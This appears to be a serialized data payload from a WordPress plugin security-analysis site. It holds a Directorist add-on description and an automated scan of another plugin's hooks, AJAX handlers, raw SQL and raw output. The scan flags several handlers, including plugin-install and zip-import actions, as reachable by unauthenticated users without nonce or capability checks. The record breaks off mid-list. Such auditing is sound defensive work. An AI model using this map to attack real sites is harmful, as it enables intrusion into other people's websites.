code.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003C\u002Fol>\n\u003Ch4>Why Choose Directorist AddonsKit for Elementor?\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>\u003Cstrong>Boost Your Directory’s Functionality\u003C\u002Fstrong>: Add advanced capabilities to improve user interaction.  \u003C\u002Fli>\n\u003Cli>\u003Cstrong>Enhanced Design Flexibility\u003C\u002Fstrong>: Stand out with customizable designs and layouts.  \u003C\u002Fli>\n\u003Cli>\u003Cstrong>Save Time\u003C\u002Fstrong>: Use pre-built templates and widgets to speed up development.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Compatible Themes\u003C\u002Fh4>\n\u003Cp>Works seamlessly with Directorist-compatible themes, including \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fthemes\u002Fpixetiq\u002F\" rel=\"ugc\">Pixetiq\u003C\u002Fa>, \u003Cstrong>Astra\u003C\u002Fstrong>, \u003Cstrong>dRealEstate\u003C\u002Fstrong>, \u003Cstrong>dCar\u003C\u002Fstrong>, \u003Cstrong>dRestaurant\u003C\u002Fstrong>, \u003Cstrong>dDoctors\u003C\u002Fstrong>, \u003Cstrong>dPlace\u003C\u002Fstrong>, and more.\u003C\u002Fp>\n\u003Ch4>How to Use Directorist AddonsKit for Elementor\u003C\u002Fh4>\n\u003Col>\n\u003Cli>Install and activate the \u003Cstrong>Directorist\u003C\u002Fstrong> plugin and \u003Cstrong>Elementor\u003C\u002Fstrong> page builder.  \u003C\u002Fli>\n\u003Cli>Install and activate the \u003Cstrong>Directorist AddonsKit for Elementor\u003C\u002Fstrong>.  \u003C\u002Fli>\n\u003Cli>Access widgets and templates in the Elementor editor to start customizing your directory website.\u003C\u002Fli>\n\u003C\u002Fol>\n\u003Ch4>Support and Updates\u003C\u002Fh4>\n\u003Cp>Regular updates and premium support ensure a smooth experience with Directorist AddonsKit for Elementor.\u003C\u002Fp>\n","Enhance your Elementor experience with a variety of stunning templates and advanced widgets to build beautiful directory websites.",64826,40,4,"2025-11-27T04:56:00.000Z",[228,229,230,231,150],"addons-kit","directory","directory-websites","elementor-widget","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Faddonskit-for-elementor.1.3.0.zip","2025-04-01 00:00:00",{"attackSurface":235,"codeSignals":905,"taintFlows":1570,"riskAssessment":1941,"analyzedAt":1961},{"hooks":236,"ajaxHandlers":736,"restRoutes":891,"shortcodes":892,"cronEvents":897,"entryPointCount":904,"unprotectedCount":417},[237,243,245,247,249,252,257,261,265,270,274,279,283,286,291,296,300,304,308,313,317,321,326,330,334,337,340,342,346,349,351,356,360,364,367,371,374,379,383,386,390,394,399,404,408,410,414,418,420,422,424,427,430,433,436,439,442,445,448,451,453,455,457,459,461,463,465,467,469,471,474,476,478,480,482,484,486,488,491,493,496,498,500,503,505,506,509,511,513,515,517,519,521,523,526,529,533,538,542,545,548,550,553,555,558,560,562,564,566,568,570,572,574,576,578,580,582,584,586,589,592,594,596,598,601,604,607,610,612,614,616,618,621,623,626,629,632,635,637,640,642,645,647,650,652,654,656,660,663,665,669,673,676,680,682,685,688,691,696,698,702,705,708,711,714,717,719,722,725,727,729,733],{"type":238,"name":239,"callback":240,"file":241,"line":242},"action","admin_enqueue_scripts","closure","admin\\class-solace-extra-admin.php",793,{"type":238,"name":239,"callback":240,"file":241,"line":244},830,{"type":238,"name":239,"callback":240,"file":241,"line":246},844,{"type":238,"name":239,"callback":240,"file":241,"line":248},886,{"type":238,"name":250,"callback":240,"file":241,"line":251},"elementor\u002Finit",891,{"type":253,"name":254,"callback":255,"file":241,"line":256},"filter","wp_max_execution_time","solace_custom_max_execution_time",924,{"type":253,"name":258,"callback":259,"file":241,"line":260},"intermediate_image_sizes_advanced","disable_sizes",933,{"type":253,"name":262,"callback":263,"file":241,"line":264},"wp_image_editors","disable_editors",934,{"type":253,"name":266,"callback":267,"priority":268,"file":241,"line":269},"wp_generate_attachment_metadata","disable_metadata",10,935,{"type":253,"name":271,"callback":272,"file":241,"line":273},"big_image_size_threshold","__return_false",936,{"type":253,"name":275,"callback":276,"file":277,"line":278},"cron_schedules","schedule_cron_healthcheck","admin\\classes\\wp-background-process.php",104,{"type":253,"name":280,"callback":281,"file":282,"line":128},"import_post_meta_key","is_valid_meta_key","admin\\export-import\\class-wp-import.php",{"type":253,"name":284,"callback":285,"file":282,"line":164},"http_request_timeout","bump_request_timeout",{"type":238,"name":287,"callback":288,"file":289,"line":290},"admin_init","solace_extra_wordpress_importer_init","admin\\export-import\\wordpress-importer.php",69,{"type":253,"name":292,"callback":293,"file":294,"line":295},"elementor\u002Ftemplate_library\u002Fimport_images\u002Fnew_attachment","handle_images_import","admin\\import.php",103,{"type":238,"name":297,"callback":298,"priority":268,"file":294,"line":299},"wp_import_insert_post","handle_import_post",105,{"type":238,"name":301,"callback":302,"priority":268,"file":294,"line":303},"wp_import_set_post_terms","handle_import_post_terms",107,{"type":253,"name":305,"callback":306,"priority":268,"file":294,"line":307},"elementor\u002Fdocument\u002Fsave\u002Fdata","handle_pages_import",109,{"type":238,"name":309,"callback":310,"file":311,"line":312},"elementor\u002Feditor\u002Fafter_enqueue_scripts","enqueue_assets","classes\\class-library-manager.php",18,{"type":238,"name":314,"callback":315,"file":311,"line":316},"elementor\u002Feditor\u002Ffooter","print_template_views",19,{"type":238,"name":318,"callback":319,"file":311,"line":320},"elementor\u002Fajax\u002Fregister_actions","register_ajax_actions",20,{"type":238,"name":322,"callback":323,"file":324,"line":325},"elementor\u002Ffrontend\u002Fafter_register_scripts","register_scripts","elementor\\widgets\\elementor.php",86,{"type":238,"name":327,"callback":328,"file":324,"line":329},"elementor\u002Ffrontend\u002Fafter_register_styles","register_styles",87,{"type":238,"name":331,"callback":332,"file":324,"line":333},"elementor\u002Fwidgets\u002Fwidgets_registered","register_widgets",88,{"type":238,"name":335,"callback":240,"file":336,"line":213},"elementor\u002Fdocuments\u002Fregister_controls","elementor\\widgets\\functions.php",{"type":238,"name":338,"callback":240,"file":336,"line":339},"save_post_solace-sitebuilder",313,{"type":238,"name":309,"callback":240,"file":336,"line":341},326,{"type":253,"name":343,"callback":344,"file":336,"line":345},"body_class","solace_add_not_logged_in_body_class",567,{"type":253,"name":347,"callback":240,"file":336,"line":348},"woocommerce_add_to_cart_fragments",569,{"type":253,"name":347,"callback":240,"file":336,"line":350},595,{"type":253,"name":352,"callback":353,"priority":25,"file":354,"line":355},"woocommerce_coupons_enabled","cart_coupon_return_false","elementor\\widgets\\widget\\cart-items\\cart-items.php",2434,{"type":253,"name":357,"callback":358,"priority":320,"file":354,"line":359},"gettext","filter_gettext",2479,{"type":238,"name":361,"callback":361,"priority":126,"file":362,"line":363},"woocommerce_checkout_before_customer_details","elementor\\widgets\\widget\\checkout\\checkout.php",1725,{"type":238,"name":365,"callback":365,"priority":126,"file":362,"line":366},"woocommerce_checkout_before_order_review_heading",1727,{"type":238,"name":368,"callback":368,"priority":369,"file":362,"line":370},"woocommerce_checkout_order_review",15,1729,{"type":238,"name":372,"callback":372,"priority":126,"file":362,"line":373},"woocommerce_checkout_after_order_review",1731,{"type":253,"name":375,"callback":376,"priority":268,"file":377,"line":378},"walker_nav_menu_start_el","add_span_to_menu_items","elementor\\widgets\\widget\\nav-menu\\nav-menu.php",1582,{"type":253,"name":380,"callback":381,"priority":268,"file":377,"line":382},"nav_menu_link_attributes","handle_link_classes",1606,{"type":253,"name":380,"callback":384,"priority":268,"file":377,"line":385},"handle_link_tabindex",1607,{"type":253,"name":387,"callback":388,"file":377,"line":389},"nav_menu_submenu_css_class","handle_sub_menu_classes",1608,{"type":253,"name":391,"callback":392,"file":377,"line":393},"nav_menu_item_id","__return_empty_string",1609,{"type":253,"name":395,"callback":396,"file":397,"line":398},"comment_form_defaults","anonymous","elementor\\widgets\\widget\\post-comments\\post-comments.php",560,{"type":253,"name":400,"callback":401,"file":402,"line":403},"woocommerce_thankyou_order_id","get_modified_order_id","elementor\\widgets\\widget\\purchase-summary\\purchase-summary.php",1705,{"type":253,"name":405,"callback":406,"file":402,"line":407},"woocommerce_thankyou_order_key","get_modified_order_key",1706,{"type":253,"name":357,"callback":358,"priority":320,"file":402,"line":409},1720,{"type":253,"name":411,"callback":412,"file":402,"line":413},"woocommerce_thankyou_order_received_text","modify_order_received_text",1721,{"type":238,"name":415,"callback":240,"file":416,"line":417},"elementor\u002Ffrontend\u002Fafter_render","elementor\\widgets\\widget\\shop\\cart.php",44,{"type":253,"name":343,"callback":240,"file":416,"line":419},46,{"type":253,"name":343,"callback":240,"file":416,"line":421},2127,{"type":253,"name":357,"callback":240,"priority":268,"file":416,"line":423},2186,{"type":253,"name":425,"callback":240,"file":416,"line":426},"woocommerce_product_cross_sells_products_heading",2196,{"type":253,"name":428,"callback":240,"file":416,"line":429},"woocommerce_cross_sells_columns",2203,{"type":253,"name":431,"callback":240,"file":416,"line":432},"woocommerce_cross_sells_total",2208,{"type":238,"name":434,"callback":240,"file":416,"line":435},"woocommerce_before_cart_table",2213,{"type":238,"name":437,"callback":240,"file":416,"line":438},"woocommerce_after_cart_table",2217,{"type":238,"name":440,"callback":240,"file":416,"line":441},"woocommerce_before_cart",2222,{"type":238,"name":443,"callback":240,"file":416,"line":444},"woocommerce_after_cart",2226,{"type":238,"name":437,"callback":446,"file":416,"line":447},"woocommerce_cross_sell_display",2230,{"type":238,"name":449,"callback":240,"priority":26,"file":416,"line":450},"woocommerce_cart_collaterals",2234,{"type":238,"name":440,"callback":240,"file":416,"line":452},2251,{"type":238,"name":443,"callback":240,"file":416,"line":454},2255,{"type":238,"name":437,"callback":240,"priority":26,"file":416,"line":456},2259,{"type":238,"name":443,"callback":446,"file":416,"line":458},2279,{"type":238,"name":437,"callback":240,"priority":26,"file":416,"line":460},2285,{"type":238,"name":443,"callback":446,"file":416,"line":462},2314,{"type":253,"name":425,"callback":240,"file":416,"line":464},3073,{"type":253,"name":428,"callback":240,"file":416,"line":466},3080,{"type":253,"name":431,"callback":240,"file":416,"line":468},3085,{"type":253,"name":357,"callback":240,"priority":268,"file":416,"line":470},3102,{"type":253,"name":357,"callback":240,"priority":268,"file":472,"line":473},"elementor\\widgets\\widget\\shop\\checkout.php",1484,{"type":253,"name":357,"callback":240,"priority":268,"file":472,"line":475},1497,{"type":253,"name":357,"callback":240,"priority":268,"file":472,"line":477},1507,{"type":253,"name":357,"callback":240,"priority":268,"file":472,"line":479},1517,{"type":253,"name":357,"callback":240,"priority":268,"file":472,"line":481},1527,{"type":253,"name":357,"callback":240,"priority":268,"file":472,"line":483},1537,{"type":253,"name":357,"callback":240,"priority":268,"file":472,"line":485},1547,{"type":238,"name":365,"callback":240,"file":472,"line":487},1557,{"type":238,"name":489,"callback":240,"file":472,"line":490},"woocommerce_checkout_after_order_review_heading",1562,{"type":238,"name":361,"callback":240,"file":472,"line":492},1567,{"type":238,"name":494,"callback":240,"file":472,"line":495},"woocommerce_checkout_after_customer_details",1572,{"type":238,"name":365,"callback":240,"file":472,"line":497},1579,{"type":238,"name":372,"callback":240,"file":472,"line":499},1584,{"type":238,"name":501,"callback":240,"priority":320,"file":472,"line":502},"woocommerce_checkout_init",1589,{"type":238,"name":372,"callback":240,"file":472,"line":504},1594,{"type":238,"name":501,"callback":240,"priority":320,"file":472,"line":393},{"type":238,"name":507,"callback":240,"file":472,"line":508},"woocommerce_after_checkout_form",1614,{"type":253,"name":357,"callback":240,"priority":268,"file":472,"line":510},1814,{"type":253,"name":357,"callback":240,"priority":268,"file":472,"line":512},1827,{"type":253,"name":357,"callback":240,"priority":268,"file":472,"line":514},1837,{"type":253,"name":357,"callback":240,"priority":268,"file":472,"line":516},1847,{"type":253,"name":357,"callback":240,"priority":268,"file":472,"line":518},1857,{"type":253,"name":357,"callback":240,"priority":268,"file":472,"line":520},1867,{"type":253,"name":357,"callback":240,"priority":268,"file":472,"line":522},1877,{"type":253,"name":524,"callback":240,"priority":268,"file":472,"line":525},"woocommerce_order_button_html",1887,{"type":253,"name":343,"callback":240,"file":527,"line":528},"elementor\\widgets\\widget\\shop\\myaccount.php",21,{"type":253,"name":530,"callback":240,"file":531,"line":532},"loop_shop_columns","elementor\\widgets\\widget\\shop\\related-product.php",1065,{"type":238,"name":534,"callback":535,"file":536,"line":537},"elementor\u002Fwidget\u002Fbefore_render_content","update_custom_logo","elementor\\widgets\\widget\\site-logo\\site-logo.php",274,{"type":253,"name":539,"callback":240,"file":540,"line":541},"woocommerce_breadcrumb_defaults","elementor\\widgets\\woocommerce\\product-breadcrumbs\\product-breadcrumbs.php",258,{"type":253,"name":530,"callback":240,"file":543,"line":544},"elementor\\widgets\\woocommerce\\product-upsells\\product-upsells.php",142,{"type":238,"name":239,"callback":396,"file":546,"line":547},"includes\\class-solace-extra.php",177,{"type":238,"name":239,"callback":396,"file":546,"line":549},178,{"type":238,"name":551,"callback":396,"file":546,"line":552},"init",179,{"type":238,"name":551,"callback":396,"file":546,"line":554},180,{"type":238,"name":556,"callback":396,"file":546,"line":557},"admin_menu",181,{"type":238,"name":556,"callback":396,"file":546,"line":559},182,{"type":238,"name":556,"callback":396,"file":546,"line":561},183,{"type":238,"name":556,"callback":396,"file":546,"line":563},184,{"type":238,"name":556,"callback":396,"file":546,"line":565},185,{"type":238,"name":556,"callback":396,"file":546,"line":567},186,{"type":238,"name":556,"callback":396,"file":546,"line":569},187,{"type":238,"name":556,"callback":396,"file":546,"line":571},188,{"type":238,"name":556,"callback":396,"file":546,"line":573},189,{"type":238,"name":556,"callback":396,"file":546,"line":575},190,{"type":238,"name":556,"callback":396,"file":546,"line":577},191,{"type":238,"name":556,"callback":396,"file":546,"line":579},192,{"type":238,"name":556,"callback":396,"file":546,"line":581},193,{"type":238,"name":287,"callback":396,"file":546,"line":583},198,{"type":238,"name":287,"callback":396,"file":546,"line":585},210,{"type":238,"name":587,"callback":396,"file":546,"line":588},"switch_theme",213,{"type":238,"name":590,"callback":396,"file":546,"line":591},"elementor\u002Feditor\u002Fafter_enqueue_styles",216,{"type":238,"name":327,"callback":396,"file":546,"line":593},219,{"type":238,"name":309,"callback":396,"file":546,"line":595},222,{"type":238,"name":309,"callback":396,"file":546,"line":597},223,{"type":238,"name":599,"callback":396,"file":546,"line":600},"elementor\u002Ffrontend\u002Fafter_enqueue_scripts",226,{"type":238,"name":602,"callback":396,"file":546,"line":603},"elementor\u002Fcontrols\u002Fcontrols_registered",229,{"type":238,"name":605,"callback":396,"file":546,"line":606},"template_redirect",238,{"type":238,"name":608,"callback":396,"file":546,"line":609},"wp_head",239,{"type":238,"name":605,"callback":396,"file":546,"line":611},242,{"type":238,"name":605,"callback":396,"file":546,"line":613},243,{"type":238,"name":605,"callback":396,"file":546,"line":615},244,{"type":238,"name":605,"callback":396,"file":546,"line":617},245,{"type":238,"name":619,"callback":396,"file":546,"line":620},"elementor\u002Felements\u002Fcategories_registered",247,{"type":238,"name":309,"callback":396,"file":546,"line":622},249,{"type":253,"name":624,"callback":396,"file":546,"line":625},"woocommerce_shortcode_products_query",252,{"type":253,"name":627,"callback":396,"file":546,"line":628},"woocommerce_shortcode_sale_products_query",253,{"type":253,"name":630,"callback":396,"file":546,"line":631},"do_shortcode_tag",254,{"type":253,"name":633,"callback":396,"file":546,"line":634},"woocommerce_loop_add_to_cart_link",255,{"type":238,"name":239,"callback":396,"file":546,"line":636},270,{"type":238,"name":638,"callback":396,"file":546,"line":639},"wp_enqueue_scripts",341,{"type":238,"name":638,"callback":396,"file":546,"line":641},342,{"type":238,"name":643,"callback":396,"file":546,"line":644},"solace_render_customizer_social_share",343,{"type":238,"name":638,"callback":396,"file":546,"line":646},346,{"type":238,"name":648,"callback":396,"file":546,"line":649},"elementor\u002Ffrontend\u002Fafter_enqueue_styles",349,{"type":238,"name":638,"callback":396,"file":546,"line":651},351,{"type":238,"name":343,"callback":396,"file":546,"line":653},354,{"type":253,"name":343,"callback":396,"file":546,"line":655},357,{"type":238,"name":657,"callback":658,"file":659,"line":475},"save_post","solace_set_taxonomy_based_on_part","sitebuilder\\sitebuilder.php",{"type":238,"name":605,"callback":661,"file":659,"line":662},"load_template_preview",1669,{"type":238,"name":551,"callback":240,"file":659,"line":664},1671,{"type":253,"name":666,"callback":667,"file":659,"line":668},"manage_solace-sitebuilder_posts_columns","solace_sitebuilder_add_custom_columns",1711,{"type":238,"name":670,"callback":671,"priority":268,"file":659,"line":672},"manage_solace-sitebuilder_posts_custom_column","solace_sitebuilder_custom_column_content",1741,{"type":238,"name":657,"callback":674,"file":659,"line":675},"solace_sitebuilder_save_meta_box_data",1745,{"type":238,"name":677,"callback":678,"file":659,"line":679},"admin_post_delete_post","solace_handle_delete_post",2368,{"type":238,"name":608,"callback":240,"file":659,"line":681},2545,{"type":238,"name":683,"callback":240,"file":659,"line":684},"wp_footer",2564,{"type":253,"name":343,"callback":686,"file":659,"line":687},"solace_custom_body_class",2702,{"type":238,"name":608,"callback":689,"priority":153,"file":659,"line":690},"solace_render_custom_styles",2703,{"type":238,"name":692,"callback":693,"file":694,"line":695},"admin_head","solace_hide_hostinger_easy_onboarding_notice","solace-extra.php",137,{"type":238,"name":287,"callback":697,"file":694,"line":544},"solace_hostinger_easy_onboarding_notice",{"type":238,"name":699,"callback":700,"file":694,"line":701},"elementor\u002Fwidgets\u002Fregister","solace_extra_register_widget_elementor",233,{"type":238,"name":619,"callback":703,"file":694,"line":704},"solace_extra_add_elementor_widget_categories",263,{"type":238,"name":551,"callback":706,"file":694,"line":707},"solace_extra_handle_logo_upload",286,{"type":238,"name":551,"callback":709,"file":694,"line":710},"solace_register_sitebuilder_post_type",403,{"type":238,"name":619,"callback":712,"file":694,"line":713},"solace_add_elementor_support_for_sitebuilder",444,{"type":253,"name":258,"callback":715,"file":694,"line":716},"solace_disable_sizes",468,{"type":253,"name":258,"callback":715,"file":694,"line":718},475,{"type":238,"name":720,"callback":240,"file":694,"line":721},"wp",565,{"type":238,"name":723,"callback":240,"file":694,"line":724},"generate_thumbnails_cron",577,{"type":238,"name":287,"callback":240,"file":694,"line":726},633,{"type":238,"name":287,"callback":240,"file":694,"line":728},651,{"type":238,"name":556,"callback":730,"priority":731,"file":694,"line":732},"solace_register_theme_submenu_dashboard_upgrade_support",999,712,{"type":238,"name":734,"callback":240,"file":694,"line":735},"admin_footer",740,[737,742,744,747,750,753,756,758,761,763,766,768,771,773,776,779,780,783,785,788,790,793,794,797,799,802,804,807,809,812,814,817,819,822,824,826,828,831,834,837,841,843,847,849,853,855,859,861,865,869,871,874,876,880,882,885,889],{"action":738,"nopriv":57,"callback":738,"hasNonce":739,"hasCapCheck":57,"file":740,"line":741},"elementor_form_builder_form_ajax",true,"elementor\\widgets\\form\\form-handler.php",52,{"action":738,"nopriv":739,"callback":738,"hasNonce":739,"hasCapCheck":57,"file":740,"line":743},53,{"action":745,"nopriv":57,"callback":240,"hasNonce":57,"hasCapCheck":57,"file":336,"line":746},"solace_save_custom_preview_id",209,{"action":748,"nopriv":57,"callback":240,"hasNonce":57,"hasCapCheck":57,"file":336,"line":749},"solace_save_blogarchive_preview_category",251,{"action":751,"nopriv":57,"callback":240,"hasNonce":57,"hasCapCheck":57,"file":336,"line":752},"solace_save_shopproduct_preview_category",280,{"action":754,"nopriv":57,"callback":396,"hasNonce":57,"hasCapCheck":57,"file":546,"line":755},"update_logo2",195,{"action":754,"nopriv":739,"callback":396,"hasNonce":57,"hasCapCheck":57,"file":546,"line":757},196,{"action":759,"nopriv":57,"callback":396,"hasNonce":57,"hasCapCheck":57,"file":546,"line":760},"update_sol_color_base_font_elementor_system_color",200,{"action":759,"nopriv":739,"callback":396,"hasNonce":57,"hasCapCheck":57,"file":546,"line":762},201,{"action":764,"nopriv":57,"callback":396,"hasNonce":57,"hasCapCheck":57,"file":546,"line":765},"update_solace_font_and_color",202,{"action":764,"nopriv":739,"callback":396,"hasNonce":57,"hasCapCheck":57,"file":546,"line":767},203,{"action":769,"nopriv":57,"callback":396,"hasNonce":57,"hasCapCheck":57,"file":546,"line":770},"remove-cookie-continue-page-access",206,{"action":769,"nopriv":739,"callback":396,"hasNonce":57,"hasCapCheck":57,"file":546,"line":772},207,{"action":774,"nopriv":57,"callback":396,"hasNonce":57,"hasCapCheck":57,"file":546,"line":775},"solace_rename_post_title",235,{"action":777,"nopriv":57,"callback":396,"hasNonce":57,"hasCapCheck":57,"file":546,"line":778},"action_ajax_search",273,{"action":777,"nopriv":739,"callback":396,"hasNonce":57,"hasCapCheck":57,"file":546,"line":537},{"action":781,"nopriv":57,"callback":396,"hasNonce":57,"hasCapCheck":57,"file":546,"line":782},"action_ajax_checkbox",277,{"action":781,"nopriv":739,"callback":396,"hasNonce":57,"hasCapCheck":57,"file":546,"line":784},278,{"action":786,"nopriv":57,"callback":396,"hasNonce":57,"hasCapCheck":57,"file":546,"line":787},"action_load_more",281,{"action":786,"nopriv":739,"callback":396,"hasNonce":57,"hasCapCheck":57,"file":546,"line":789},282,{"action":791,"nopriv":57,"callback":396,"hasNonce":57,"hasCapCheck":57,"file":546,"line":792},"continue-page-access",285,{"action":791,"nopriv":739,"callback":396,"hasNonce":57,"hasCapCheck":57,"file":546,"line":707},{"action":795,"nopriv":57,"callback":396,"hasNonce":57,"hasCapCheck":57,"file":546,"line":796},"action-import-customizer",302,{"action":795,"nopriv":739,"callback":396,"hasNonce":57,"hasCapCheck":57,"file":546,"line":798},303,{"action":800,"nopriv":57,"callback":396,"hasNonce":57,"hasCapCheck":57,"file":546,"line":801},"action-import-widgets",306,{"action":800,"nopriv":739,"callback":396,"hasNonce":57,"hasCapCheck":57,"file":546,"line":803},307,{"action":805,"nopriv":57,"callback":396,"hasNonce":57,"hasCapCheck":57,"file":546,"line":806},"action-delete-previously-imported",310,{"action":805,"nopriv":739,"callback":396,"hasNonce":57,"hasCapCheck":57,"file":546,"line":808},311,{"action":810,"nopriv":57,"callback":396,"hasNonce":57,"hasCapCheck":57,"file":546,"line":811},"action-install-activate-theme",314,{"action":810,"nopriv":739,"callback":396,"hasNonce":57,"hasCapCheck":57,"file":546,"line":813},315,{"action":815,"nopriv":57,"callback":396,"hasNonce":57,"hasCapCheck":57,"file":546,"line":816},"action-install-activate-plugin",318,{"action":815,"nopriv":739,"callback":396,"hasNonce":57,"hasCapCheck":57,"file":546,"line":818},319,{"action":820,"nopriv":57,"callback":396,"hasNonce":57,"hasCapCheck":57,"file":546,"line":821},"action-import-zip",322,{"action":820,"nopriv":739,"callback":396,"hasNonce":57,"hasCapCheck":57,"file":546,"line":823},323,{"action":825,"nopriv":57,"callback":396,"hasNonce":57,"hasCapCheck":57,"file":546,"line":341},"action_import_menu",{"action":825,"nopriv":739,"callback":396,"hasNonce":57,"hasCapCheck":57,"file":546,"line":827},327,{"action":829,"nopriv":57,"callback":774,"hasNonce":739,"hasCapCheck":739,"file":659,"line":830},"rename_post_title",1459,{"action":832,"nopriv":57,"callback":832,"hasNonce":739,"hasCapCheck":57,"file":659,"line":833},"solace_update_sitebuilder_status",1550,{"action":835,"nopriv":57,"callback":835,"hasNonce":739,"hasCapCheck":57,"file":659,"line":836},"solace_update_sitebuilder_all_status",1651,{"action":838,"nopriv":57,"callback":839,"hasNonce":739,"hasCapCheck":57,"file":659,"line":840},"save_conditions","solace_save_conditions",1985,{"action":838,"nopriv":739,"callback":839,"hasNonce":739,"hasCapCheck":57,"file":659,"line":842},1986,{"action":844,"nopriv":57,"callback":845,"hasNonce":739,"hasCapCheck":57,"file":659,"line":846},"save_edit_conditions","solace_save_edit_conditions",1987,{"action":844,"nopriv":739,"callback":845,"hasNonce":739,"hasCapCheck":57,"file":659,"line":848},1988,{"action":850,"nopriv":57,"callback":851,"hasNonce":739,"hasCapCheck":739,"file":659,"line":852},"create_and_edit_page","solace_extra_create_and_edit_page_ajax_handler",2218,{"action":850,"nopriv":739,"callback":851,"hasNonce":739,"hasCapCheck":739,"file":659,"line":854},2219,{"action":856,"nopriv":57,"callback":857,"hasNonce":739,"hasCapCheck":739,"file":659,"line":858},"delete_action","solace_extra_delete_action_ajax_handler",2252,{"action":856,"nopriv":739,"callback":857,"hasNonce":739,"hasCapCheck":739,"file":659,"line":860},2253,{"action":862,"nopriv":57,"callback":863,"hasNonce":57,"hasCapCheck":57,"file":659,"line":864},"check_elementor_status","solace_check_elementor_plugin_status",2402,{"action":866,"nopriv":57,"callback":867,"hasNonce":57,"hasCapCheck":57,"file":659,"line":868},"get_elementor_content","solace_get_elementor_content_via_ajax",2468,{"action":866,"nopriv":739,"callback":867,"hasNonce":57,"hasCapCheck":57,"file":659,"line":870},2469,{"action":872,"nopriv":57,"callback":872,"hasNonce":57,"hasCapCheck":57,"file":694,"line":873},"solace_extra_upload_logo",344,{"action":872,"nopriv":739,"callback":872,"hasNonce":57,"hasCapCheck":57,"file":694,"line":875},345,{"action":877,"nopriv":57,"callback":878,"hasNonce":57,"hasCapCheck":57,"file":694,"line":879},"check_import_status","solace_check_import_status",457,{"action":877,"nopriv":739,"callback":878,"hasNonce":57,"hasCapCheck":57,"file":694,"line":881},458,{"action":883,"nopriv":57,"callback":240,"hasNonce":57,"hasCapCheck":57,"file":694,"line":884},"run_generate_thumbnails_cron",666,{"action":886,"nopriv":57,"callback":887,"hasNonce":57,"hasCapCheck":57,"file":694,"line":888},"woocommerce_ajax_add_to_cart","solace_custom_ajax_add_to_cart",680,{"action":886,"nopriv":739,"callback":887,"hasNonce":57,"hasCapCheck":57,"file":694,"line":890},681,[],[893,895],{"tag":894,"callback":396,"file":546,"line":873},"solace_year",{"tag":896,"callback":396,"file":546,"line":875},"solace_recent_posts",[898,900,902],{"hook":723,"callback":723,"file":694,"line":899},570,{"hook":723,"callback":723,"file":694,"line":901},623,{"hook":723,"callback":723,"file":694,"line":903},659,59,{"dangerousFunctions":906,"sqlUsage":911,"outputEscaping":937,"fileOperations":26,"externalRequests":1567,"nonceChecks":1568,"capabilityChecks":312,"bundledLibraries":1569},[907],{"fn":908,"file":277,"line":909,"context":910},"unserialize",792,"return @unserialize( $data, $options ); \u002F\u002F @phpcs:ignore",{"prepared":528,"raw":912,"locations":913},11,[914,917,919,921,923,925,927,929,931,933,935],{"file":294,"line":915,"context":916},648,"$wpdb->get_col() with variable interpolation",{"file":294,"line":918,"context":916},1226,{"file":294,"line":920,"context":916},1241,{"file":294,"line":922,"context":916},1256,{"file":294,"line":924,"context":916},1271,{"file":294,"line":926,"context":916},1286,{"file":294,"line":928,"context":916},1304,{"file":294,"line":930,"context":916},1320,{"file":294,"line":932,"context":916},1338,{"file":294,"line":934,"context":916},1356,{"file":294,"line":936,"context":916},1412,{"escaped":938,"rawEcho":818,"locations":939},1519,[940,943,945,947,949,951,953,954,956,959,961,963,965,967,969,972,974,976,978,979,980,982,984,986,988,990,993,994,996,998,1000,1002,1004,1006,1007,1009,1011,1014,1016,1018,1020,1022,1023,1025,1026,1028,1031,1032,1033,1035,1037,1039,1041,1042,1044,1046,1048,1050,1052,1054,1056,1058,1060,1062,1063,1065,1067,1069,1071,1073,1075,1077,1079,1080,1082,1084,1085,1087,1089,1091,1093,1096,1098,1099,1101,1103,1105,1107,1109,1111,1113,1114,1116,1118,1120,1122,1124,1125,1127,1129,1131,1133,1135,1137,1139,1141,1143,1145,1147,1149,1151,1153,1155,1157,1160,1163,1165,1167,1169,1170,1172,1174,1176,1178,1180,1182,1184,1185,1187,1189,1191,1194,1196,1198,1200,1202,1204,1207,1209,1211,1213,1216,1219,1222,1224,1226,1228,1229,1231,1232,1234,1235,1237,1239,1242,1244,1247,1249,1250,1252,1254,1256,1257,1259,1261,1263,1265,1267,1269,1271,1273,1275,1277,1279,1281,1283,1285,1287,1289,1291,1293,1295,1297,1299,1301,1303,1305,1307,1309,1311,1313,1315,1317,1319,1321,1323,1325,1327,1329,1331,1333,1335,1337,1339,1341,1343,1345,1347,1349,1351,1353,1355,1356,1358,1360,1362,1363,1365,1367,1369,1371,1373,1375,1378,1380,1382,1384,1386,1388,1390,1392,1394,1396,1398,1400,1402,1404,1406,1408,1410,1412,1414,1417,1419,1421,1424,1426,1428,1430,1432,1434,1436,1438,1440,1442,1444,1446,1448,1450,1452,1454,1456,1458,1460,1463,1465,1467,1470,1471,1472,1475,1477,1479,1481,1484,1487,1489,1491,1493,1495,1496,1498,1500,1502,1504,1506,1507,1508,1510,1511,1512,1514,1516,1518,1520,1522,1524,1526,1528,1530,1532,1534,1536,1538,1540,1542,1544,1545,1546,1548,1550,1552,1554,1556,1558,1560,1561,1563,1565],{"file":241,"line":941,"context":942},601,"raw output",{"file":241,"line":944,"context":942},627,{"file":241,"line":946,"context":942},1270,{"file":241,"line":948,"context":942},1344,{"file":241,"line":950,"context":942},1604,{"file":241,"line":952,"context":942},1675,{"file":241,"line":672,"context":942},{"file":241,"line":955,"context":942},1826,{"file":957,"line":958,"context":942},"admin\\dynamic-tags\\helper-class.php",1131,{"file":957,"line":960,"context":942},1134,{"file":957,"line":962,"context":942},1146,{"file":957,"line":964,"context":942},1172,{"file":957,"line":966,"context":942},1219,{"file":957,"line":968,"context":942},1290,{"file":970,"line":971,"context":942},"admin\\dynamic-tags\\inc\\shortcode.php",82,{"file":282,"line":973,"context":942},120,{"file":282,"line":975,"context":942},121,{"file":282,"line":977,"context":942},129,{"file":282,"line":554,"context":942},{"file":282,"line":563,"context":942},{"file":282,"line":981,"context":942},194,{"file":282,"line":983,"context":942},330,{"file":282,"line":985,"context":942},1378,{"file":282,"line":987,"context":942},1401,{"file":282,"line":989,"context":942},1402,{"file":991,"line":992,"context":942},"admin\\export-import\\parsers\\class-wxr-parser.php",45,{"file":991,"line":419,"context":942},{"file":294,"line":995,"context":942},496,{"file":294,"line":997,"context":942},771,{"file":294,"line":999,"